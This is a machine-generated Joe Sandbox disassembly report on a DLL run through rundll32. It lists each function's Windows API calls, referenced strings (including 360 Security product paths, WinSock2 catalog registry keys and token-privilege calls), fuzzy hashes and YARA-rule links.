Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: memset$FilePath$Exists$BackslashCloseModuleNameOpenQueryValue
String ID: %s\%s$360SkinMgr.exe$360leakfixer.exe$Path$SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe$SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\360sd.exe$hipsver.dll$safemon\360Cactus.tpi$safemon\FreeSaaS.tpi$safemon\pedrver.dll
API String ID: 4260417939-4002867936
Opcode ID: 69930986b2b6c6c437e187827024c0865ac4d7e0e25485b3d46344904dffa666
Instruction ID: bf4960b57fd98bc25e9fd953caee1d48b1d668c6bea79cfa729634ea3028d897
Opcode Fuzzy Hash: 69930986b2b6c6c437e187827024c0865ac4d7e0e25485b3d46344904dffa666
Instruction Fuzzy Hash: BCB13D31614E8895EBA2DB21EC543DA63A4F78DBC4F908116FA9D87A95EF39C70DC700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001ECF4 Relevance: 45.8, APIs: 25, Strings: 1, Instructions: 323fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 000000018001ED67
GetFileSizeEx.KERNEL32 ref: 000000018001ED80
??_U@YAPEAX_K@Z.MSVCRT ref: 000000018001EDA6
ReadFile.KERNEL32 ref: 000000018001EDCE
CloseHandle.KERNEL32 ref: 000000018001EDDD
SetFilePointer.KERNEL32 ref: 000000018001EE03
ReadFile.KERNEL32 ref: 000000018001EE20
SetFilePointer.KERNEL32 ref: 000000018001EE63
ReadFile.KERNEL32 ref: 000000018001EE80
SetFilePointer.KERNEL32 ref: 000000018001EF14
ReadFile.KERNEL32 ref: 000000018001EF31
SetFilePointer.KERNEL32 ref: 000000018001EFB0
ReadFile.KERNEL32 ref: 000000018001EFCD
??_U@YAPEAX_K@Z.MSVCRT ref: 000000018001F007
MultiByteToWideChar.KERNEL32 ref: 000000018001F034

Part of subcall function 0000000180036EC8: wcschr.MSVCRT ref: 0000000180036F7A
Part of subcall function 0000000180036EC8: _wcslwr.MSVCRT ref: 0000000180036FC8

SetFilePointer.KERNEL32 ref: 000000018001F064
ReadFile.KERNEL32 ref: 000000018001F07D
??_U@YAPEAX_K@Z.MSVCRT ref: 000000018001F0A6
memmove.MSVCRT ref: 000000018001F0C1
memmove.MSVCRT ref: 000000018001F0EE
memmove.MSVCRT ref: 000000018001F117
??3@YAXPEAX@Z.MSVCRT ref: 000000018001F172
CloseHandle.KERNEL32 ref: 000000018001F17E
??3@YAXPEAX@Z.MSVCRT ref: 000000018001F195
CloseHandle.KERNEL32 ref: 000000018001F1A5

Strings

9, xrefs: 000000018001EF82

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: File$Read$Pointer$CloseHandlememmove$??3@$ByteCharCreateMultiSizeWide_wcslwrwcschr
String ID: 9
API String ID: 2469906296-2366072709
Opcode ID: 1edc00ec3368a205bebbe676ef1486fb611a75b6483dacecd85243c6051295a2
Instruction ID: b16b18eef39a39b515becb99aaa5640e1c6952976385d86e077c0efac659451c
Opcode Fuzzy Hash: 1edc00ec3368a205bebbe676ef1486fb611a75b6483dacecd85243c6051295a2
Instruction Fuzzy Hash: 43D1D072300A8886EBA6DF25E8507ED37A1F749BD8F448614FE5647BA8DF38C249C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180062148 Relevance: 43.9, APIs: 14, Strings: 11, Instructions: 114libraryloaderCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000018006217C
GetModuleFileNameW.KERNEL32 ref: 0000000180062193
PathCombineW.SHLWAPI ref: 00000001800621AA

Part of subcall function 0000000180065F9C: GetModuleHandleW.KERNEL32 ref: 0000000180065FBE
Part of subcall function 0000000180065F9C: memset.MSVCRT ref: 0000000180065FD4

GetProcAddress.KERNEL32 ref: 00000001800621DB
GetProcAddress.KERNEL32 ref: 00000001800621EF
GetProcAddress.KERNEL32 ref: 0000000180062203
GetProcAddress.KERNEL32 ref: 0000000180062217
GetProcAddress.KERNEL32 ref: 000000018006222B
GetProcAddress.KERNEL32 ref: 000000018006223F
GetProcAddress.KERNEL32 ref: 0000000180062253
GetProcAddress.KERNEL32 ref: 0000000180062267
GetProcAddress.KERNEL32 ref: 000000018006227B
GetProcAddress.KERNEL32 ref: 000000018006228F
FreeLibrary.KERNEL32 ref: 00000001800622DD

Strings

NtQueryInformationProcess64, xrefs: 0000000180062281
IsProcessWow64Process, xrefs: 0000000180062245
GetModuleFileNameExW64, xrefs: 00000001800621F5
..\ipc\x64for32lib.dll, xrefs: 0000000180062199
GetCommandLine64, xrefs: 000000018006221D
GetModuleBaseNameW64, xrefs: 00000001800621E1
NtQueryInformationThread64, xrefs: 000000018006226D
ReadProcessMemory64, xrefs: 00000001800621D1
GetModuleInformation64, xrefs: 0000000180062259
GetCurrentDirectory64, xrefs: 0000000180062231
EnumProcessModules64, xrefs: 0000000180062209

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressProc$Modulememset$CombineFileFreeHandleLibraryNamePath
String ID: ..\ipc\x64for32lib.dll$EnumProcessModules64$GetCommandLine64$GetCurrentDirectory64$GetModuleBaseNameW64$GetModuleFileNameExW64$GetModuleInformation64$IsProcessWow64Process$NtQueryInformationProcess64$NtQueryInformationThread64$ReadProcessMemory64
API String ID: 3359005274-2277939915
Opcode ID: 11406f1aeae7bd1ca1e9419c163a9dd1d65d254f22157801c59e7a4b8def0cf2
Instruction ID: 36480451210aca2b5e6fe81c352119384c097133635e903ecd0715684d47c6ca
Opcode Fuzzy Hash: 11406f1aeae7bd1ca1e9419c163a9dd1d65d254f22157801c59e7a4b8def0cf2
Instruction Fuzzy Hash: 2D512532201F5AA2EEA58F51E99439833A5FB4C7C0F549525EA5907A60DF38D3B9C710

Uniqueness

Uniqueness Score: -1.00%

Function 000000018004B1A4 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 223processCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000018004B226
GetCurrentProcess.KERNEL32 ref: 000000018004B22C
OpenProcessToken.ADVAPI32 ref: 000000018004B23F
LookupPrivilegeValueW.ADVAPI32 ref: 000000018004B264
AdjustTokenPrivileges.ADVAPI32 ref: 000000018004B2E0
GetLastError.KERNEL32 ref: 000000018004B2F4
WTSGetActiveConsoleSessionId.KERNEL32 ref: 000000018004B30E
WTSQueryUserToken.WTSAPI32 ref: 000000018004B330
GetTokenInformation.ADVAPI32 ref: 000000018004B3AC
DuplicateTokenEx.ADVAPI32 ref: 000000018004B3EA
CreateEnvironmentBlock.USERENV ref: 000000018004B44C
CreateProcessAsUserW.ADVAPI32 ref: 000000018004B4BD

Part of subcall function 00000001800669B4: GetTokenInformation.ADVAPI32 ref: 00000001800669F1
Part of subcall function 00000001800669B4: GetTokenInformation.ADVAPI32 ref: 0000000180066A25

GetLastError.KERNEL32 ref: 000000018004B4D5
DestroyEnvironmentBlock.USERENV ref: 000000018004B4F3
CloseHandle.KERNEL32 ref: 000000018004B505
CloseHandle.KERNEL32 ref: 000000018004B515
AdjustTokenPrivileges.ADVAPI32 ref: 000000018004B541
CloseHandle.KERNEL32 ref: 000000018004B54E

Strings

SeTcbPrivilege, xrefs: 000000018004B25B
h, xrefs: 000000018004B40C
winsta0\default, xrefs: 000000018004B400

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Token$CloseHandleInformationProcess$AdjustBlockCreateEnvironmentErrorLastPrivilegesUser$ActiveConsoleCurrentDestroyDuplicateLookupOpenPrivilegeQuerySessionValuememset
String ID: SeTcbPrivilege$h$winsta0\default
API String ID: 2730501308-2823425829
Opcode ID: da626f246ce0b3925ee1fe27a827f12215fb960ca2972f5f4b6fa681b72b113d
Instruction ID: 63acb98c3057d7eee2a2f85741aa180b658631cb3bbab8e9928767d1695d7121
Opcode Fuzzy Hash: da626f246ce0b3925ee1fe27a827f12215fb960ca2972f5f4b6fa681b72b113d
Instruction Fuzzy Hash: A4A11072608B8486E7A1CF65F8507DAB7E4F7CC794F518125EA8983B68DF38C649CB04

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002610 Relevance: 31.9, APIs: 14, Strings: 4, Instructions: 416registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0000000180002691
memset.MSVCRT ref: 00000001800026A3
memset.MSVCRT ref: 00000001800026C1
memset.MSVCRT ref: 000000018000275C
memset.MSVCRT ref: 0000000180002771
RegOpenKeyExW.ADVAPI32 ref: 0000000180002824
RegEnumKeyW.ADVAPI32 ref: 000000018000286C
RegOpenKeyExW.ADVAPI32 ref: 0000000180002964
free.MSVCRT ref: 0000000180002A97
RegCloseKey.ADVAPI32 ref: 0000000180002AD2
RegCloseKey.ADVAPI32 ref: 0000000180002AFB
RegCloseKey.ADVAPI32 ref: 0000000180002D4B

Strings

\Features\, xrefs: 000000018000290E
\Products\, xrefs: 00000001800028DF
HKEY_LOCAL_MACHINE\, xrefs: 0000000180002CA7
\Components\, xrefs: 0000000180002BB2

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: memset$Close$Open$Enumfree
String ID: HKEY_LOCAL_MACHINE\$\Components\$\Features\$\Products\
API String ID: 1285027818-2258373985
Opcode ID: 9906bf7cd91924df8938282da413fefd9331e0d97fbadb0acae730663cf89f7c
Instruction ID: 6311c4a4e92b2eb2b6e61e2371f742115398930d0f6aaa53fdf69de799299566
Opcode Fuzzy Hash: 9906bf7cd91924df8938282da413fefd9331e0d97fbadb0acae730663cf89f7c
Instruction Fuzzy Hash: 9C126F72218AC891FAB2EB55E8453DAB365FB897C4F448111FA8E43A99DF3DC749C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180060578 Relevance: 30.0, APIs: 12, Strings: 5, Instructions: 289registrywindowtimeCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 000000018006062B
FindWindowW.USER32 ref: 000000018006067B
IsWindow.USER32 ref: 0000000180060690
memset.MSVCRT ref: 00000001800606C2
SendMessageTimeoutW.USER32 ref: 0000000180060722
SendMessageTimeoutW.USER32 ref: 0000000180060767
RegOpenKeyExW.ADVAPI32 ref: 00000001800607BF
memset.MSVCRT ref: 00000001800607DE
RegQueryValueExW.ADVAPI32 ref: 0000000180060825
memset.MSVCRT ref: 00000001800608E0
RegQueryValueExW.ADVAPI32 ref: 0000000180060918

Part of subcall function 0000000180016DD4: memmove.MSVCRT(?,?,?,?,?,?,?,0000000180016E29), ref: 0000000180016E10

RegCloseKey.ADVAPI32 ref: 00000001800609B9

Strings

MsgCenter, xrefs: 000000018006078E
activeapp, xrefs: 0000000180060819
activeweb, xrefs: 000000018006090C
Q360SafeMonClass, xrefs: 0000000180060674
TS2P, xrefs: 0000000180060713

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Windowmemset$MessageQuerySendTimeoutValue$CloseFindForegroundOpenmemmove
String ID: MsgCenter$Q360SafeMonClass$TS2P$activeapp$activeweb
API String ID: 3772276521-2728888700
Opcode ID: 252ce8677bfb522a4b6632ad157aa9371a8792e99c65b85e20036a72b1270932
Instruction ID: ee8cae4e48a5beadbc07239537d79e19b069e47090ef93ff609d4821bf219365
Opcode Fuzzy Hash: 252ce8677bfb522a4b6632ad157aa9371a8792e99c65b85e20036a72b1270932
Instruction Fuzzy Hash: C1D19172604B4886EB51DF25E8403DE7761F789BE8F608215EAAD43BE5DF38C649CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000000018007E7C7 Relevance: 28.7, APIs: 16, Strings: 3, Instructions: 248COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 000000018007EB4B
free.MSVCRT ref: 000000018007EB57
free.MSVCRT ref: 000000018007EB62
memset.MSVCRT ref: 000000018007EBC2
calloc.MSVCRT ref: 000000018007EC04
free.MSVCRT ref: 000000018007EC10
free.MSVCRT ref: 000000018007EC1B
calloc.MSVCRT ref: 000000018007ECB8
free.MSVCRT ref: 000000018007ECC4
free.MSVCRT ref: 000000018007ECCF
calloc.MSVCRT ref: 000000018007ED0B
free.MSVCRT ref: 000000018007ED17
free.MSVCRT ref: 000000018007ED22
calloc.MSVCRT ref: 000000018007EDC9
free.MSVCRT ref: 000000018007EDD5
free.MSVCRT ref: 000000018007EDE0

Strings

-, xrefs: 000000018007EC59
], xrefs: 000000018007EC39
], xrefs: 000000018007ED55

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: free$calloc$memset
String ID: -$]$]
API String ID: 2591755499-1349866957
Opcode ID: 2679cd0fb79ab9e79cb7ec4cb87940f65e1566cfba3dc15da5d319deb0b258b9
Instruction ID: 1d85a50f400dc416e5d0a718f77556582d5ce19bdf984b68484f18af02043cc0
Opcode Fuzzy Hash: 2679cd0fb79ab9e79cb7ec4cb87940f65e1566cfba3dc15da5d319deb0b258b9
Instruction Fuzzy Hash: BCA1D272706BC892EB96CB16D0403A977A1F74D780F449616EB8A17B81DF39D2B9D300

Uniqueness

Uniqueness Score: -1.00%

Function 000000018005D014 Relevance: 28.4, APIs: 8, Strings: 8, Instructions: 422timesynchronizationCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32 ref: 000000018005D0CB
SystemTimeToFileTime.KERNEL32 ref: 000000018005D0D9
??3@YAXPEAX@Z.MSVCRT ref: 000000018005D46D
free.MSVCRT ref: 000000018005D489
??3@YAXPEAX@Z.MSVCRT ref: 000000018005D597
free.MSVCRT ref: 000000018005D5B3
free.MSVCRT ref: 000000018005D5CB
ReleaseMutex.KERNEL32 ref: 000000018005D600

Strings

DELETE FROM 'MT' , xrefs: 000000018005D909
SLEV = %d , xrefs: 000000018005D7BB
TimeStamp < %I64d;, xrefs: 000000018005D846
WHERE , xrefs: 000000018005D944
INSERT INTO "MT" VALUES ( ?,?,?,?,?,?,?,?,?,?,?,?,NULL ) , xrefs: 000000018005D09E
ModName LIKE ', xrefs: 000000018005D6E2
AND , xrefs: 000000018005D73B
TYPE = %d, xrefs: 000000018005D76E

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Timefree$??3@System$FileMutexRelease
String ID: AND $ SLEV = %d $ TYPE = %d$ WHERE $DELETE FROM 'MT' $INSERT INTO "MT" VALUES ( ?,?,?,?,?,?,?,?,?,?,?,?,NULL ) $ModName LIKE '$TimeStamp < %I64d;
API String ID: 2360919559-3261407791
Opcode ID: 0fdc13341be9cf7c256e26cb2936a3b5a8a79f5d9c0121a176094682301e8f56
Instruction ID: fbbc87ecfbf22c2b8803d4662eccf4799cfebf60f86054df91e993a66dbd8da4
Opcode Fuzzy Hash: 0fdc13341be9cf7c256e26cb2936a3b5a8a79f5d9c0121a176094682301e8f56
Instruction Fuzzy Hash: B102B332711A4C85FFB29BA5D4403DD2361AB887D8F148627BE2E6B7D4DE3AC649C300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180052FD8 Relevance: 23.1, APIs: 5, Strings: 8, Instructions: 303registryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000018005303F
LeaveCriticalSection.KERNEL32 ref: 0000000180053088
RegOpenKeyExW.ADVAPI32 ref: 0000000180053228
RegDeleteKeyW.ADVAPI32 ref: 0000000180053296
RegCloseKey.ADVAPI32 ref: 00000001800532E1

Part of subcall function 00000001800432C8: memset.MSVCRT ref: 0000000180043335

Strings

SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\NameSpace_Catalog5\%s, xrefs: 00000001800531D2
Catalog_Entries64, xrefs: 00000001800530B6
%s\%s, xrefs: 0000000180053267
Catalog_Entries, xrefs: 00000001800530BD
Num_Catalog_Entries, xrefs: 00000001800530A9
SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\NameSpace_Catalog5\%s\%012d, xrefs: 0000000180053359
Num_Catalog_Entries64, xrefs: 00000001800530A2
NameSpace_Catalog5, xrefs: 00000001800533D8

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection$CloseDeleteEnterLeaveOpenmemset
String ID: %s\%s$Catalog_Entries$Catalog_Entries64$NameSpace_Catalog5$Num_Catalog_Entries$Num_Catalog_Entries64$SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\NameSpace_Catalog5\%s$SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\NameSpace_Catalog5\%s\%012d
API String ID: 2413450229-732542554
Opcode ID: 5d3b3c8892c10d7fff7567f6933cd8fc0a8177a7f871dcf3f8d0113f8f36deb6
Instruction ID: 3ab1713314ff84c9548747a70e29f101a91a5434d94fe8d6158548384223fcd6
Opcode Fuzzy Hash: 5d3b3c8892c10d7fff7567f6933cd8fc0a8177a7f871dcf3f8d0113f8f36deb6
Instruction Fuzzy Hash: 69C1DEB1701A4D82EEA6DB29E8457D963A0F788BD4F04C422FE0D1B7A5DF39C64AC700

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000834C Relevance: 19.8, APIs: 13, Instructions: 336stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000180008C68: CharNextW.USER32 ref: 0000000180008CA7
Part of subcall function 0000000180008C68: CharNextW.USER32 ref: 0000000180008CD3
Part of subcall function 0000000180008C68: CharNextW.USER32 ref: 0000000180008D81

lstrcmpiW.KERNEL32(?,00000000,00000000,?,?,00000000,00000000,0000000180009076,?,?,00000000,?,?,00000000,00000000,00000000), ref: 00000001800083C8
lstrcmpiW.KERNEL32(?,?,00000000,00000000,0000000180009076,?,?,00000000,?,?,00000000,00000000,00000000,000000018000976A), ref: 00000001800083E6
CharNextW.USER32(?,?,00000000,00000000,0000000180009076,?,?,00000000,?,?,00000000,00000000,00000000,000000018000976A), ref: 0000000180008457
CharNextW.USER32(?,?,00000000,00000000,0000000180009076,?,?,00000000,?,?,00000000,00000000,00000000,000000018000976A), ref: 0000000180008541
CharNextW.USER32(?,?,00000000,00000000,0000000180009076,?,?,00000000,?,?,00000000,00000000,00000000,000000018000976A), ref: 000000018000855D
RegSetValueExW.ADVAPI32(?,?,00000000,00000000,0000000180009076,?,?,00000000,?,?,00000000,00000000,00000000,000000018000976A), ref: 00000001800085C2

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CharNext$lstrcmpi$Value
String ID:
API String ID: 3520330261-0
Opcode ID: e6b0475dc37a1ccc9b5f93fb3a52cf7f5178555000e54cf4b197682acd1df91f
Instruction ID: 54a0f5542f62afcd6411b2081a4c08be2fbbe8d603b0a409542dd15f8ed12d0a
Opcode Fuzzy Hash: e6b0475dc37a1ccc9b5f93fb3a52cf7f5178555000e54cf4b197682acd1df91f
Instruction Fuzzy Hash: D3D1643260864982FBA2DB15E8543DA76E1FB9C7D0F91C121BA99476E4EF38C74DD700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180060174 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 270COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00000001800601FC
SHGetValueW.SHLWAPI ref: 0000000180060257
_wtoi.MSVCRT ref: 000000018006029F
_wtoi.MSVCRT ref: 00000001800602B1
_wtoi.MSVCRT ref: 00000001800602C3
_wtoi.MSVCRT ref: 00000001800602D5
SHSetValueW.SHLWAPI ref: 0000000180060468
??3@YAXPEAX@Z.MSVCRT ref: 000000018006050C

Strings

MsgCenter, xrefs: 000000018006021A, 000000018006042C, 0000000180060436
MontiorInfo, xrefs: 0000000180060244, 0000000180060455
%d|%d|%d|%d, xrefs: 0000000180060404

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _wtoi$Value$??3@memset
String ID: %d|%d|%d|%d$MontiorInfo$MsgCenter
API String ID: 1219333133-3184008533
Opcode ID: 5a13214d90345a148425d7b4cec5787b2bbb9191422684e28f36f8c5be619ee2
Instruction ID: 3a97e8b4d36ab7b0ff62b7c8c746816c118d75ce1dcaba847e92933311b9e76e
Opcode Fuzzy Hash: 5a13214d90345a148425d7b4cec5787b2bbb9191422684e28f36f8c5be619ee2
Instruction Fuzzy Hash: FDC1B472604B4887EB51CF29E84039E77A1F789BA4F208216FAAD577A4DF78D644CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180040CB0 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 78libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 0000000180040CEF
memset.MSVCRT ref: 0000000180040D0A
SHGetValueW.SHLWAPI ref: 0000000180040D49
atoi.MSVCRT ref: 0000000180040D70
GetVersion.KERNEL32 ref: 0000000180040D80
GetModuleHandleW.KERNEL32 ref: 0000000180040DD0
GetProcAddress.KERNEL32 ref: 0000000180040DE0

Strings

CurrentVersion, xrefs: 0000000180040D34
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0000000180040D3B
RtlGetVersion, xrefs: 0000000180040DD9
ntdll.dll, xrefs: 0000000180040DC9

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Version$AddressHandleModuleProcValueatoimemset
String ID: CurrentVersion$RtlGetVersion$SOFTWARE\Microsoft\Windows NT\CurrentVersion$ntdll.dll
API String ID: 1009632096-1820686997
Opcode ID: 96873d62ae8b00b27b2edc00cc4e017e8c26c7791766384428e26c81b31d8715
Instruction ID: 603b8f84a57364ab934b969a098bbde4f8155cf87e7eb2653b8acdc6aa15b94a
Opcode Fuzzy Hash: 96873d62ae8b00b27b2edc00cc4e017e8c26c7791766384428e26c81b31d8715
Instruction Fuzzy Hash: 0F416D31615A498AF792CF20EC883DB77A0F78C7A5F918115F56A426A8DF3CD24CCB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800647B0 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000180064800

Part of subcall function 0000000180035E24: ??2@YAPEAX_K@Z.MSVCRT ref: 0000000180035ED4
Part of subcall function 0000000180035E24: memmove.MSVCRT ref: 0000000180035F42
Part of subcall function 0000000180035E24: ??3@YAXPEAX@Z.MSVCRT ref: 0000000180035F7C

??_U@YAPEAX_K@Z.MSVCRT ref: 00000001800648B2
SysFreeString.OLEAUT32 ref: 0000000180064941
